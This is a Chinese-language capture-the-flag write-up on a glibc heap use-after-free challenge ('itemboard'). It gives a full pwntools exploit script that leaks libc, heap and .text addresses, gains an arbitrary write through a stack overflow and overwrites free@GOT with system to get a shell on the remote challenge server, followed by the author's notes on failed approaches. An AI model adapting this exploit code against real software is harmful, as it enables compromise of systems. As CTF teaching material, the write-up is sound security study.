Linux堆漏洞之Use after free实例

0x00. 前言

前天遇到一题含有Use after free的PWN,题目开启了NX、PIE等防护。我花了一天时间磕磕碰碰,最终弄出来了,现记录下过程。

0x01. 漏洞利用思路

漏洞位置: 该题存在两个漏洞,一个是Use after free导致的地址泄漏;一个是栈溢出导致的任意地址写。漏洞如下图:
我的图片

利用思路: 首先,利用Use after free泄漏libc以及堆块基址。由于题目将代码段的item_free函数地址存储在堆上,因此,利用栈溢出任意地址写结合Use after free可以泄漏代码段的地址。最后利用system地址覆盖free函数的got,然后free堆块就可以了。

0x02. 漏洞利用代码

漏洞利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python

from pwn import *

DEBUG = 0
if DEBUG:
context.log_level = 'debug'
p = process('./itemboard')
else:
p = remote("pwn2.jarvisoj.com", 9887)

def new_item(name, length, des):
p.recvuntil('choose:')
p.sendline('1')
p.recvuntil('Item name?')
p.sendline(name)
p.recvuntil('len?')
p.sendline(str(length))
p.recvuntil('Description?')
p.sendline(des)

def list_item():
p.recvuntil('choose:')
p.sendline('2')
print p.recvuntil('1.')

def show_item(num, ans='Description:'):
p.recvuntil('choose:')
p.sendline('3')
p.recvuntil('Which item?')
p.sendline(str(num))
p.recvuntil(ans)


def delete_item(num):
p.recvuntil('choose:')
p.sendline('4')
p.recvuntil('Which item?')
p.sendline(str(num))

def exp():

# 1. Leaking libc address and heap address!
new_item('0'*8, 256, '0'*16)
new_item('1'*8, 32, '1'*16)
delete_item(0)
show_item(0)
addr = p.recvuntil('\n')
main_arena = u64(addr[0:-1].ljust(8, '\x00'))
delete_item(1)
show_item(1)
addr = p.recvuntil('\n')
heap_addr = u64(addr[0:-1].ljust(8, '\x00'))

if DEBUG:
libc = main_arena - 0x3c3b10 - 0x68
system_addr = libc + 0x45390
else:
libc = main_arena - 0x3be740 - 0x78
system_addr = libc + 0x46590

log.success("libc address: " + hex(libc))
log.success("system address: " + hex(system_addr))
log.success("heap address: " + hex(heap_addr))

# 2. Getting .text address
payload = p64(heap_addr)
payload = payload.ljust(1032, 'a')
payload += p64(heap_addr + 0x38)
new_item(p64(heap_addr - 0x10), 1048, payload)
show_item(1, 'Name:')
addr = p.recvuntil('\n')
item_free = u64(addr[0:-1].ljust(8, '\x00'))
text = item_free - 0xb39
free_got = text + 0x202018
log.success("text address: " + hex(text))

# 3. Overwriting free_got
payload = p64(system_addr)
payload = payload.ljust(1032, 'a')
payload += p64(heap_addr - 0x148)
new_item("/bin/sh\x00", 32, p64(free_got))
new_item('4'*16, 1048, payload)
delete_item(3)

p.interactive()

if __name__ == '__main__':
exp()

0x03. 体会

由于接触堆漏洞时间短,没有大量训练,解决这道题时遇到各种坑,记录下体会。首先,一开始发现了栈溢出,但是没想到如何利用,就忘记了,忘记了。然后发现Use after free可以泄漏地址,但只泄漏了fast bin中堆基址,而没想到泄漏unsorted bin中libc地址。与此同时,发现可以Double free,就一直在想如何构造伪块,利用Large bin attack覆盖tls_dtors_list地址,但是strcpy复制输入数据到堆上时会截断NULL字节并且Large bin attack在当前版本的glibc(2.23)已经失效。尝试了几次,发现这条路走不通。我就重新认真思考,突然发现既然能泄漏堆块基址,就可以泄漏libc基址。当泄漏了libc基址和堆块地址,就在想如何覆盖free@got.plt,但是Large bin attack在当前版本glibc已经失效。然后在午睡的时候,突然灵光一闪,发现栈溢出这块还没有利用,认真分析了一下栈溢出可以覆盖的内容,发现可以通过覆盖栈上item地址,造成任意地址写。已经快接近成功了,但是由于程序开启的PIE导致代码段地址随机,无法获取free@got.plt地址。就在想如何泄漏text段地址,通过调试观察堆上内容,发现text段的item_free函数的地址存储在堆上。于是,通过任意地址写结合Use after free泄漏text段地址,从而获取free@got.plt地址,最终成功。
PS:我在Ubuntu14.04(glibc 2.19)上通过Overwriting tls_dtors_list可以利用成功,但是在打远程时由于tls_dtors_list地址偏移不一致,导致失败。